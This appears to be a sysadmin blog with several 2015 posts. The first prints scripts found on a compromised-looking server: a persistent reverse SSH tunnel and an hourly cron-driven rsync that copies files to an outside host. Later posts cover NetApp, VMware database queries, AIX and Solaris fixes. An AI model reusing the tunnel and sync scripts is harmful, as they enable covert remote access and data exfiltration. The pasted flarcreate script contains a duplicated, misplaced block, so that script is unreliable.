today i was looking at some odd behavior on a server.
and look what i found... a reverse tunnel and data syncs every hour.
satan 8287 0.0 0.0 10840 584 ? S 2014 0:01 /bin/bash ./tun1
satan 17363 0.0 0.0 40896 2652 ? S 10:33 0:00 ssh -c arcfour,blowfish-cbc -R 8000:localhost:22 -i /home/satan/stairwaytoheaven/
i decided to check and see if satan has a scheduled task. he does.
crontab -l -u satan
@hourly bash -c "cd /home/satan/stairwaytoheaven; get pull >> stairwaytoheaven.log 2>> stairwaytoheaven.err && ./hellSync.sh"
@monthly bash -c "cd /home/satan/stairwaytoheaven; rm stairwaytoheaven.err; rm stairwaytoheaven.log"
crontab a copy of the above
stairwaytoheaven.err a file with errors resultant from stairwaytoheaven.sh
stairwaytoheaven.log a log of what's going on
manifest a list of files generated from get pull command
satan.pem satan's key
stairwaytoheaven.sh rsync job going over a reverse tunnel to aserverinhell
tun1
#!/bin/bash
sleep 2
while true; do
echo Starting connection 1 on `date`
ssh -c arcfour,blowfish-cbc -R 8000:localhost:22 -i /home/satan/stairwaytoheaven/satan.pem lucifer@aserverinhell -N
echo Connection 1 died on `date`
sleep 15
done
hellSync.sh
#!/bin/bash
chmod 600 /home/satan/stairwaytoheaven/satan.pem
echo -n "--- START " >> stairwaytoheaven.log 2>> stairwaytoheaven.err < /dev/null
date >> stairwaytoheaven.log 2>> stairwaytoheaven.err < /dev/null
rsync -avz -r --recursive --delete --files-from=./manifest -e "ssh -i /home/satan/stairwaytoheaven/satan.pem" / lucifer@aserverinhell:/ >> stairwaytoheaven.log 2>> stairwaytoheaven.err < /dev/null
echo "--- END" >> stairwaytoheaven.log 2>> stairwaytoheaven.err < /dev/null
Thursday, May 28, 2015
reverse tunnel transfer to aserverinhell
nasty satan.
Wednesday, May 27, 2015
na_admin gone! from netapp after factory reset
Do I care? Minimally. Let's see if we can make this happen.
I reinstalled my Netapp 2240-4. Yes!
I go here:
http://filer/na_admin/
And I see:
Error 500, Servlets not enabled.
FFS.
filer> options http
la la la set them to be:
httpd.access legacy
httpd.admin.access legacy
httpd.admin.enable on
httpd.admin.ssl.enable on
httpd.enable on
httpd.rootdir /vol/vol0/home/http
filer> option httpd.admin.enable on
&c.
Step 2.
download the appropriate DATA ONTAP version from NetApp and place it on a web server. Say, apache. I like apache.
I'm putting it on the local filesystem:
server:/store/netapp/
Edit /etc/apache/available-sites/000-default
Alias /netapp "/store/netapp/"
<Directory "/store/netapp/">
Options Indexes MultiViews FollowSymLinks
DirectoryIndex README
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
Allow from 6.6.6.0/255.255.255.0
</Directory>
Restart apache.
See if your link works:
http://server/netapp/814P1_q_image.tgz
Of course it does.
Step 4.
On the console issue an update request:
filer> software update http://server/netapp/814P1_q_image.tgz -f -R
Nice things will scroll by. The most important is:
software: installation of 814P1_q_image.tgz completed
filer> reboot
Update from NetApp:
FilerView is no longer available on systems running Data ONTAP 8.1 or later releases. You can use System Manager as a web-based graphical management interface to manage common storage system functions from a web browser.
For more information about System Manager, see the NetApp Support Site.
Reference KB Article: FilerView error: Error 500: Servlets not enabled
https://kb.netapp.com/support/index?page=content&id=2013472
Thursday, May 21, 2015
vmware virtual center db queries
i need to move vms and templates. but i need to know where they are.
i want to know what is where. like really what and really where.
connect to the vmware virtual center db via ms sql server manangement studio
DNS Name IP Address PRODUCT FULLNAME
vmhost 6.6.6.6 VMware ESX Server 3.5.0 build-317866
via query:
select DNS_Name, IP_Address, PRODUCT_FULLNAME from vpx_host Order by DNS_Name
VM/Template Name Storage LUN
sillyvmtmp vmhost:storage1
sillyvm vmhost:storage1
sillyvm2 NAS
via query:
select VMS.Name, TDS.Name from vpxv_vms VMS
inner join vpxv_vm_datastore VVMDS on VMS.VMID = VVMDS.VM_ID
inner join vpx_datastore TDS on VVMDS.DS_ID = TDS.ID Order by VMS.Name
VM/Template Name File Path
sillyvmtmp sanfs://vmfs_uuid:666/sillyvmtmp/sillvmtemp.vmtx
sillyvm sanfs://vmfs_uuid:666/sillyvm/sillyvm.vmx
sillyvm2 netfs://6.6.6.7//mnt/hellData/sillyvm2/sillyvm2.vmx
via query:
select VPX_ENTITY.NAME as "VM Name", VPX_VM.FILE_NAME as "File Name / Path"
From VPX_VM inner join VPX_Entity
on vpx_vm.ID = vpx_entity.ID
order by VPX_entity.name
Wednesday, May 13, 2015
some days i wonder why diskspace is not being monitored on a bunch of esx boxes but that is none of my business not today
sigh. vm is hung. no space on esx store for snapshots.
[root@esxhell esxhell:storage1]# find . -name *-0000[0-9][0-9]*.vmdk
./jerkvm/jerkvm-000001-delta.vmdk
./jerkvm/jerkvm-000001.vmdk
[root@esxhell esxhell:storage1]# vmware-cmd /vmfs/volumes/esxhell\:storage1/jerkvm/jerkvm.vmx getstate
getstate() = stuck
[root@esxhell esxhell:storage1]# vmware-cmd /vmfs/volumes/esxhell\:storage1/jerkvm/jerkvm.vmx stop hard
VMControl error -999: Unknown error: SoapError: ServerFaultCode(0) : (The attempted operation cannot be performed in the current state (Powered On).)
[root@esxhell esxhell:storage1]# ps auxwww |grep -i jerkvm.vmx
root 7881 0.0 0.2 2032 616 ? S< Apr09 0:48 /usr/lib/vmware/bin/vmkload_app /usr/lib/vmware/bin/vmware-vmx -ssched.group=host/user -# name=VMware ESX Server;version=3.5.0;licensename=VMware ESX Server;licenseversion=2.0 build-317866; -@ pipe=/tmp/vmhsdaemon-0/vmx924c12c8b40a85b6; /vmfs/volumes/493d14d8-ede9a876-2c4c-001ec9f21c8c/jerkvm/jerkvm.vmx
root 20231 0.0 0.2 3684 684 pts/0 S 07:50 0:00 grep -i vm6-rh9.vmx
[root@esxhell esxhell:storage1]# kill -9 7881
[root@esxhell esxhell:storage1]# vmware-cmd /vmfs/volumes/esxhell\:storage1/jerkvm/jerkvm.vmx getstate
getstate() = off
[root@esxhell esxhell:storage1]# vmware-cmd /vmfs/volumes/esxhell\:storage1/jerkvm/jerkvm.vmx removesnapshots
removesnapshots() = 1
derby ram or find a vm's ip address programmatically
i can't figure out my vm's ip address. to which i respond:
as i was going to derby, 'twas on a market day,
i met the finest ram, sirs, that ever was fed upon hay.
that's a lie, that's a lie
that's a lie, a lie, a lie!
this ram and i got drunk, sir, as drunk as drunk could be,
and when we sobered up, sir, we were far away out on the sea.
ahem...
Connect-VIServer vmwareesxserver
Get-VM | Select Name, @{N="IP Address";E={@($_.guest.IPAddress[0])}}
and there you go:
name tab tab ip address.
you need power cli installed.
Tuesday, May 12, 2015
flarcreate for solaris backups
let's make a flash archive of a system over nfs shall we?
sure.
mkdir /tmp/flar_archive ; mount nfsserver:/vol/flar_archive /tmp/flar_archive
flarcreate -S -n system /tmp/flar_archive/system.flar
easy. what is this flarcreate of which you speak? throwing errors? see script after.
flarcreate
#!/bin/ksh
#
#ident "@(#)flarcreate.sh 1.7 04/12/08 SMI"
#
# Copyright 2004 Sun Microsystems, Inc. All rights reserved.
# Use is subject to license terms.
#
########################################
# #
# flarcreate -- Create a Flash Archive #
# #
########################################
TEXTDOMAIN=SUNW_INSTALL_FLASH
export TEXTDOMAIN
# list of required utilities. If you add any to this
# list, be sure to also add it to the $UTIL_LIST variable below!
AWK="/usr/bin/awk"
SED="/usr/bin/sed"
DF="/usr/sbin/df"
RM="/usr/bin/rm"
CPIO="/usr/bin/cpio"
COMPRESS="/usr/bin/compress"
WC="/usr/bin/wc"
CAT="/usr/bin/cat"
UNAME="/usr/bin/uname"
FIND="/usr/bin/find"
TOUCH="/usr/bin/touch"
MT="/usr/bin/mt"
DD="/usr/bin/dd"
ID="/usr/bin/id"
LS="/usr/bin/ls"
UTIL_LIST="$AWK $SED $DF $RM $CPIO $COMPRESS $WC $CAT $UNAME $FIND $TOUCH $MT $DD $ID $LS"
##############################################################
# Function find_utils makes sure required utilies exist.
##############################################################
find_utils_or_exit ()
{
for i in $UTIL_LIST ; do
if [ ! -x $i ] ; then
print_error_and_exit "$(gettext "Required utility %s is not available.")" $i
fi
done
}
##############################################################
# Function print_error_and_exit prints a formatted message
# to stderr prefixed with ERROR: and new-lined, and exits 1.
##############################################################
print_error_and_exit ()
{
typeset format=$1
shift
typeset values=$*
printf "$(gettext 'ERROR:') ${format}\n" $values >&2
exit 1
}
##############################################################
# Function print_message prints a formatted message to stderr
##############################################################
print_message ()
{
typeset format=$1
shift
typeset values=$*
printf "${format}\n" $values >&2
}
###############################################################
# Function print_usage_and_exit does just that
###############################################################
print_usage_and_exit ()
{
# Remember to update the usage in flar if you update this one
typeset myname=`basename $0`
print_message "$(gettext "Usage:")"
print_message "$myname $(gettext '-n name [-R root] [-H] [-S] [-c] [-t [-p posn] [-b blocksize]]')"
print_message " $(gettext '[-i date] [-u section [-d path ]] [-U key=value] [-m master]')"
print_message " $(gettext '[-f [ list_file | - ] [-F]]')"
print_message " $(gettext '[-a author] [-e descr | -E descr_file] [-T type]')"
print_message " $(gettext '[[-x exclude_dir/file][-x exclude_dir/file]...] [-X list_file]')"
print_message " $(gettext '[[-y include_dir/file [-y include_dir/file]...]')"
print_message " $(gettext '[-z filter_list_file]')"
print_message " $(gettext 'archive')"
exit 1
}
##############################################################
# Function print_error_and_usage prints a formatted message to stderr
# with ERROR: and calls print_usage_and_exit
##############################################################
print_error_and_usage ()
{
typeset format=$1
shift
typeset values=$*
printf "$(gettext 'ERROR:') ${format}\n" $values >&2
print_usage_and_exit
}
##############################################################
# Functions dial(), start_dial(), stop_dial(), and cleanup()
# implement a spinner of |, /. -, and \. dial() runs in the
# background. Use of traps is critical to avoid spinning after
# user has Control-C'd.
##############################################################
dial()
{
typeset state=0
trap - EXIT INT # Set trap to ignore
while : ; do
case $state in
0)
echo "|\b\c" # top-bottom
state=1
;;
1)
echo "/\b\c" # upper right, lower left
state=2
;;
2)
echo "-\b\c" # left-right
state=3
;;
3)
echo "\\" "\b\b\c" # upper left, lower right
state=0
;;
esac
sleep 1
done
}
start_dial()
{
[[ $QUIET = $YES ]] && return
dial & # Start in background
DIALPID=$! # Get pid, for killing
trap "cleanup 1" EXIT INT # Set trap
}
stop_dial()
{
[[ $QUIET = $YES ]] && return
trap "" EXIT INT
kill $DIALPID >/dev/null 2>&1
DIALPID=
echo " \b\c"
}
cleanup()
{
typeset exitcode=$1
if [[ ! -z "$DIALPID" ]] ; then
kill $DIALPID
fi
if [[ -x $hash_file ]] ; then
${RM} -f $hash_file
fi
exit $exitcode
}
#####################################################################
# Function get_platforms makes a string for the content_architectures
# identification line. It prints the string, so the caller should
# get the string as $(get_platforms).
#####################################################################
get_platforms ()
{
typeset file="var/sadm/system/admin/.platform"
typeset entry=
typeset line=
typeset values=
# if there is no $root_directory, then the following argument
# to grep will be relative to /. Also, we aren't interested
# in any error output from grep, all we care is that it failed,
# so ignore stderr.
values=$(grep "^PLATFORM_GROUP" $root_directory/$file 2> /dev/null)
if [[ $? -ne 0 ]]; then
print $(${UNAME} -m)
return
fi
for entry in $values ; do
[[ ! -z $line ]] && line="${line},"
line="${line}${entry#PLATFORM_GROUP=}"
done
print $line
}
######################################################
# Function size_archive implements the sizing feature
# of flarcreate.
######################################################
size_archive()
{
# Set up
archive_size=0
print_message "$(gettext "Determining the size of the archive...")"
start_dial
archive_size=$(gen_archive | \
${WC} -c |${AWK} '{print $1}')
status=$?
stop_dial
# Clean up
if [[ $status != 0 || -z "$archive_size" || $archive_size -eq 0 ]]; then
print_error_and_exit "$(gettext "Unable to find size of intended archive.")"
fi
# Print the size
if [[ ${#archive_size} -gt 9 ]] ; then
unit="GB"
div=1073741824
elif [[ ${#archive_size} -gt 6 ]] ; then
unit="MB"
div=1048576
else
unit="KB"
div=1024
fi
intnum=$(echo $archive_size / $div |bc)
fracnum=$(echo $archive_size / \( $div / 100 \) % 100 |bc)
print_message "$(gettext "The archive will be approximately %d.%02d%s.")" $intnum $fracnum $unit
}
################################################################
# Function gen_ident_and_cookie outputs the cookie and the
# identification lines in the output archive. Also outputs any
# user-specified control sections.
################################################################
gen_ident_and_cookie()
{
typeset keyword
typeset section
typeset bad_start
typeset cookie="FlAsH-aRcHiVe-1.0"
typeset ident_begin="section_begin=identification"
typeset hash_key="archive_id="
typeset hash="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
hash_length=${#hash}
hash_offset=`expr ${#cookie} + 1 + ${#ident_begin} + 1 + ${#hash_key}`
hash_file=/tmp/.flarcreate.hash.$$
${CAT} <<-EOF
$cookie
$ident_begin
EOF
if [[ $generate_hash = $YES ]] ; then
if [ -z "${COMPUTEHASH}" ] ; then
print_message "$(gettext "WARNING: computehash not found; cannot generate checksums")"
generate_hash=$NO
else
${COMPUTEHASH} -n
if [ $? != 0 ] ; then
print_message "$(gettext "WARNING: Hash generation only supported on Solaris 8 and later")"
generate_hash=$NO
else
echo "${hash_key}${hash}"
fi
fi
fi
if [[ $root_directory = "/" ]]; then
creation_node=`uname -n`
creation_hardware_class=`uname -m`
creation_platform=`uname -i`
creation_processor=`uname -p`
creation_release=`uname -r`
creation_os_name=`uname -s`
creation_os_version=`uname -v`
else
creation_node=`${CAT} ${root_directory}/etc/nodename`
if [[ "X$creation_node" = "X" ]]; then
creation_node="unknown"
fi
creation_hardware_class="unknown"
creation_platform="unknown"
creation_processor="unknown"
creation_os_version="unknown"
. ${root_directory}/var/sadm/system/admin/INST_RELEASE
case $OS in
Solaris )
creation_os_name=SunOS
case $VERSION in
2.* ) creation_release=5.${$VERSION#*.} ;;
7 ) creation_release=5.7 ;;
8 ) creation_release=5.8 ;;
9 ) creation_release=5.9 ;;
* ) creation_release=unknown ;;
esac
;;
* )
creation_os_name=unknown
creation_release=unknown
;;
esac
fi
${CAT} <<-EOF
files_archived_method=cpio
creation_date=$creation_date
creation_master=$creation_master
content_name=$content_name
creation_node=$creation_node
creation_hardware_class=$creation_hardware_class
creation_platform=$creation_platform
creation_processor=$creation_processor
creation_release=$creation_release
creation_os_name=$creation_os_name
creation_os_version=$creation_os_version
EOF
if [[ $compress_action = $YES ]]; then
echo "files_compressed_method=compress"
else
echo "files_compressed_method=none"
fi
if [[ $sizing_action = $YES ]]; then
echo "files_archived_size=$archive_size"
fi
#### TODO : files_unarchived_size
if [[ ! -z $content_description ]]; then
echo "content_description=$content_description"
fi
if [[ ! -z $content_type ]]; then
echo "content_type=$content_type"
fi
if [[ ! -z $content_author ]]; then
echo "content_author=$content_author"
fi
echo "content_architectures=$(get_platforms)"
for keyword in $new_keywords; do
if [[ $keyword = "${keyword#X-}" ]]; then
print_message "$(gettext "Added keyword %s does not begin with %s.")" $keyword "X-"
fi
echo $keyword
done
echo "section_end=identification"
# Write user-specified sections, if any
for section in $section_list; do
echo "section_begin=$section"
${CAT} $use_directory/$section
echo "section_end=$section"
done
}
#####################################################
# Function gen_archive files performs pipeline of
# cpio and perhaps compress, and perhaps computehash.
#####################################################
gen_archive_files()
{
echo "section_begin=archive"
cd $root_directory
typeset gen_cmd="/usr/lib/flash/fdo filter_dir $FILTER $root_directory | \
${CPIO} -oc"
if [[ $generate_hash = $YES ]] ; then
gen_cmd="$gen_cmd | ${COMPUTEHASH} -f $hash_file"
fi
if [[ $compress_action = $YES ]] ; then
gen_cmd="$gen_cmd | compress -c"
fi
eval ${gen_cmd}
if [[ $? -eq 0 ]]; then
return 0
else
return 1
fi
}
#######################################################
# Function gen_archive performs the high-level control
# of flarcreate.
#######################################################
gen_archive()
{
gen_ident_and_cookie
gen_archive_files
status=$?
if [[ $status != 0 ]] ; then
print_message "$(gettext "Unable to write archive file.")"
return $status
fi
}
#####################################
# Check that user is root
# (/usr/sbin/patchadd validate_uid())
#####################################
typeset -i uid
uid=$(${ID} | ${SED} 's/uid=\([0-9]*\)(.*/\1/')
if (( uid != 0 ))
then
print_error_and_exit "$(gettext "You must be root to execute this script.")"
fi
#########################################################
# Miscellaneous intializations and beginning-of-job steps
#########################################################
current_dir=$(pwd)
NO="No"
YES="Yes"
# make sure required binaries exist
find_utils_or_exit
if [[ $# -lt 3 ]]; then
print_usage_and_exit
fi
####################################################
# Initialize defaults and parse the invoking command
####################################################
content_author=
compress_action=$NO
creation_date=$(date -u '+''%Y''%m''%d''%H''%M''%S')
content_description_path=
use_directory=$PWD
creation_master=$(${UNAME} -n)
content_name=
tape_position=
tape_blocksize=
file_list=
exclusive_file_list=$NO
tape_block_default="64k"
sizing_action=$YES
generate_hash=$YES
hash_offset=0
hash_length=0
hash_file=
section_list=
new_keywords=
tape_usage=$NO
exclude_path=
content_description=
root_directory="/"
old_root_directory="NON_DIFFERENTIAL"
content_type=
archive_outfile=
getopt_error=$NO
DEBUG=0
QUIET=$YES
COMPUTEHASH=
comparsion=new_dir_compare
FILTER="/tmp/flash_filter_one_.$$"
while getopts ":a:b:cCd:e:E:f:FHi:m:n:p:qR:StT:u:U:vx:X:y:z:" opt; do
case $opt in
a ) content_author=$OPTARG ;;
b ) tape_blocksize=$OPTARG ;;
c ) compress_action=$YES ;;
C ) comparsion=full_new_dir_compare ;;
d ) use_directory=$OPTARG ;;
e ) content_description=$OPTARG ;;
E ) content_description_path=$OPTARG ;;
f ) /usr/lib/flash/fdo do_file_list $OPTARG >> $FILTER ;;
F ) echo - / >> $FILTER ;;
i ) creation_date=$OPTARG ;;
m ) creation_master=$OPTARG ;;
n ) content_name=$OPTARG ;;
H ) generate_hash=$NO ;;
p ) tape_position=$OPTARG ;;
q ) QUIET=$YES ;; # PRIVATE
R ) root_directory=$OPTARG ;;
S ) sizing_action=$NO ;;
t ) tape_usage=$YES ;;
T ) content_type=$OPTARG ;;
u ) section_list="$section_list $OPTARG" ;;
U ) new_keywords="$new_keywords $OPTARG" ;;
v ) DEBUG=1 ;; # PRIVATE
x ) echo - $OPTARG >> $FILTER ;;
X ) /usr/lib/flash/fdo do_x_list $OPTARG >> $FILTER ;;
y ) echo + $OPTARG >> $FILTER ;;
z ) cat $OPTARG >> $FILTER ;;
\? ) print_error_and_usage "$(gettext "Option -%s is invalid.")" $OPTARG ;;
\: ) print_error_and_usage "$(gettext "Option -%s has no value.")" $OPTARG ;;
* ) print usage and exit ;;
esac
done
# find a valid computehash
if [ -x /usr/sbin/computehash ] ; then
COMPUTEHASH=/usr/sbin/computehash
elif [ -x `dirname $0`/computehash ] ; then
_pwd=$PWD
cd `dirname $0`
COMPUTEHASH=`pwd`/computehash
cd $_pwd
else
COMPUTEHASH=
fi
# Isolate outfile parameter - it should be the only argument left
shift $(($OPTIND - 1))
if [[ $# != 1 ]] ; then
print_usage_and_exit
fi
archive_outfile=$1
###############################################
# Make format, dependency, and existence checks
###############################################
if [[ ! -d $root_directory ]] ; then
print_error_and_usage "$(gettext "Directory %s does not exist or is not a directory.")" $root_directory
fi
if [[ $root_directory = ${root_directory#/} ]]; then
print_error_and_usage "$(gettext "Root directory must have an absolute path.")"
fi
#on_local_fs $root_directory
#if [[ $? != 0 ]] ; then
# print_error_and_exit "$(gettext "Root directory must be on a ufs or vxfs file system.")"
#fi
if [[ -z $content_name ]]; then
print_error_and_usage "$(gettext 'Content name (option -n) must have a value.')"
fi
if [[ ${#creation_date} -ne 14 ]]; then
print_error_and_usage "$(gettext "Creation date %s must be 14 digits long.")" $creation_date
fi
if [[ $creation_date != +([0-9]) ]]; then
print_error_and_usage "$(gettext "Creation date %s must be numeric.")" $creation_date
fi
if [[ ! -z $content_description_path ]]; then
if [[ ! -z $content_description ]]; then
print_error_and_usage "$(gettext "Options -E and -e are mutually exclusive.")"
fi
if [[ ! -r $content_description_path ]]; then
print_error_and_exit "$(gettext "Content description file %s is not available.")" $content_description_path
fi
content_description=$(< $content_description_path)
fi
if [[ $use_directory != $PWD && -z $section_list ]]; then
print_error_and_usage "$(gettext "Option -d is invalid in the absence of option -u.")"
fi
for section in $section_list; do
if [[ ! -r $use_directory/$section ]]; then
print_error_and_exit "$(gettext "User section %s is not available.")" $use_directory/$section
fi
done
if [[ ! -z $tape_position ]]; then
if [[ $tape_usage = $NO ]]; then
print_error_and_usage "$(gettext "Option -p is invalid in the absence of option -t.")"
else
# $tape_usage = $YES
if [[ $tape_position != +([0-9]) ]]; then
print_error_and_exit "$(gettext "Tape position %s must be a number.")" $tape_position
fi
fi
fi
if [[ ! -z $tape_blocksize && $tape_usage = $NO ]]; then
print_error_and_usage "$(gettext "Option -b is invalid in the absence of option -t.")"
fi
if [[ $tape_usage = $YES ]]; then
tape_blocksize=${tape_blocksize:-$tape_block_default}
if [[ $tape_blocksize != +([0-9])?(@(k|b|w)) ]]; then
print_error_and_exit "$(gettext "Tape blocksize %s must be number[k|b|w].")" $tape_blocksize
fi
if [[ $generate_hash = $YES ]]; then
print_message "$(gettext 'WARNING: hash generation disabled when using tape (-t)')"
generate_hash=$NO
fi
fi
if [[ ! -z $exclude_path ]]; then
if [[ ! -z "$root_directory" ]] ; then
# make exclude dir relative to alternate root
exclude_path=$root_directory/${exclude_path#/}
fi
if [[ ! -d $exclude_path ]]; then
print_error_and_exit "$(gettext "Exclusion path %s is not a directory.")" $exclude_path
else
# Make relative exclude path absolute. If we have an exclude
# path AND an alternate root, this will never happen, as the
# resulting exclude path will always be absolute after prepending
# the alternate root.
if [[ $exclude_path = ${exclude_path#/} ]]; then
exclude_path=$(pwd)/$exclude_path
fi
fi
# collapse multiple /'s into a single /
exclude_path=`echo $exclude_path | tr -s /`
[[ $DEBUG -ge 1 ]] && echo "Using exclude path: $exclude_path"
exclude_inode=$(${LS} -id $exclude_path |${AWK} '{print $1}')
fi
if [[ -z $archive_outfile ]]; then
if [[ $tape_usage = $NO ]]; then
print_error_and_usage "$(gettext "Path name for new archive must be provided.")"
else
print_error_and_usage "$(gettext "Tape drive name for new archive must be provided.")"
fi
fi
if [[ $tape_usage = $NO ]]; then
if [[ $archive_outfile = ${archive_outfile#/} ]]; then
archive_outfile=$(pwd)/$archive_outfile
fi
if [[ -e $archive_outfile ]]; then
${RM} -f $archive_outfile
fi
${TOUCH} $archive_outfile
if [[ ! -w $archive_outfile ]]; then
print_error_and_exit "$(gettext "Archive file %s is not writable.")" $archive_outfile
fi
read archive_inode junk <<-EOF
$(${LS} -i $archive_outfile)
EOF
fi
# append current directory if filelist is relative
if [[ -n "$file_list" ]] ; then
if [[ $file_list = ${file_list#/} ]]; then
file_list=$(pwd)/$file_list
fi
fi
# we can't size the archive when doing a streamed file list, since
# we can only read the file list once.
if [[ "$file_list" = "-" && $sizing_action = $YES ]] ; then
print_message "$(gettext "WARNING: Sizing not supported when using streamed file list")"
sizing_action=$NO
fi
##############################################
# Determine what filesystems to archive, and
# build the archive pipelines
##############################################
start_dial
echo - /${archive_outfile#${root_directory}} >> $FILTER
(${CAT} /etc/vfstab;echo mnttab;${CAT} /etc/mnttab) | /usr/lib/flash/fdo mountpoints_to_filter ${root_directory} >> $FILTER
echo ". /cdrom" >> $FILTER
echo ". /floppy" >> $FILTER
#/usr/lib/flash/fdo contents_to_filter /var/sadm/install/contents >> $FILTER
/usr/lib/flash/fdo sort_list $root_directory $FILTER > /tmp/flash_filter_two_.$$
${RM} -f $FILTER
FILTER="/tmp/flash_filter_two_.$$"
echo current filter settings
#echo integrity check
#/usr/lib/flash/fdo integrity_check $FILTER /var/sadm/install/contents
# Exclude the archive file if we're not using tape and the archive
# file is on this filesystem
# If we're using an exclude path and it's on this filesystem,
# exclude it
stop_dial
##########################################
# If asked, find out size of archive-to-be
##########################################
if [[ $sizing_action = $YES ]]; then
size_archive
fi
######################################
# Position magnetic tape, if requested
######################################
if [[ $tape_usage = $YES && ! -z $tape_position ]]; then
print_message "$(gettext "Positioning tape drive...")"
start_dial
${MT} -f $archive_outfile asf $tape_position
if [[ $? -gt 0 ]]; then
print_error_and_exit "$(gettext "Unable to move tape %s to position %d.")" $archive_outfile $tape_position
fi
stop_dial
fi
###################
# Write the archive
###################
print_message "$(gettext "Creating the archive...")"
start_dial
# Use output redirection for disk, dd for tape
if [[ $tape_usage = $NO ]]; then
gen_archive > $archive_outfile
${MT} -f $archive_outfile asf $tape_position
if [[ $? -gt 0 ]]; then
print_error_and_exit "$(gettext "Unable to move tape %s to position %d.")" $archive_outfile $tape_position
fi
stop_dial
fi
###################
# Write the archive
###################
print_message "$(gettext "Creating the archive...")"
start_dial
# Use output redirection for disk, dd for tape
if [[ $tape_usage = $NO ]]; then
gen_archive > $archive_outfile
else
gen_archive | ${DD} of=$archive_outfile obs=$tape_blocksize 2>/dev/null
fi
status=$?
# add hash, if we computed one. lets hope the hash goes near the
# beginning of the file or the seek will take forever with a blocksize of 1.
if [[ $generate_hash = $YES ]] ; then
if [ -r $hash_file -a -f $hash_file ] ; then
${DD} if=$hash_file of=$archive_outfile bs=1 count=$hash_length \
seek=$hash_offset conv=notrunc >/dev/null 2>&1
${RM} -f $hash_file
else
print_error_and_exit "$(gettext "Could not generate hash for %s")" $archive_outfile
fi
fi
stop_dial
if [[ $status != 0 ]] ; then
print_error_and_exit "$(gettext "Unable to work archive.")"
fi
#########################################
# Perform end-of-job processing, and exit
#########################################
${RM} $FILTER
print_message "$(gettext "Archive creation complete.")"
exit 0
anything missing?
run find_utils.sh below
cp the binaries to the locations
if in doubt run ldd -f ./binary
fdo requires a directory:
bash-2.03# mkdir /usr/lib/flash/
bash-2.03# cp /tmp/flar_archive/fdo /usr/lib/flash/
find_utils.sh
#!/bin/ksh
# list of required utilities. If you add any to this
# list, be sure to also add it to the $UTIL_LIST variable below!
AWK="/usr/bin/awk"
RM="/usr/bin/rm"
CPIO="/usr/bin/cpio"
COMPRESS="/usr/bin/compress"
UNCOMPRESS="/usr/bin/uncompress"
CAT="/usr/bin/cat"
ZCAT="/usr/bin/zcat"
FIND="/usr/bin/find"
TOUCH="/usr/bin/touch"
MT="/usr/bin/mt"
DD="/usr/bin/dd"
MKDIR="/usr/bin/mkdir"
FLAR="/usr/sbin/flar"
FLARCREATE="/usr/sbin/flarcreate"
COMPUTEHASH="/usr/sbin/computehash"
BPGETFILE="/usr/sbin/bpgetfile"
FDOLIB="/usr/lib/flash/fdo"
UTIL_LIST="$AWK $RM $CPIO $COMPRESS $UNCOMPRESS $CAT $ZCAT $FIND $TOUCH $MT $DD $MKDIR $FLAR $FLARCREATE $COMPUTEHASH $BPGETFILE $FDOLIB"
##############################################################
# find binaries required to flarcreate.
##############################################################
{
for i in $UTIL_LIST ; do
if [ ! -x $i ] ; then
"$(gettext "Required utility $i is not available.")" $i
fi
done
}
exit 0
Tuesday, May 5, 2015
aix create an nfs mount
mknfsmnt -f /mnt/nfs_export -d /nfs_mountpoint -h hell -A -E
aix says no.
stopsrc -g nfs
rm /etc/rmtab
rm /etc/xtab
rm -rf /var/statmon/*
startsrc -g nfs
mount hell:/nfs_export /nfs_mountpoint
Monday, May 4, 2015
sol8 boot execute gone foul
well hell.
The file just loaded does not appear to be executable.
ok> cdrom -sw
# prtvtoc
# fsck -y /dev/dsk/c1t0d0s0
# mount /dev/dsk/c1t0d0s0 /a
# ls -la /a
cool.
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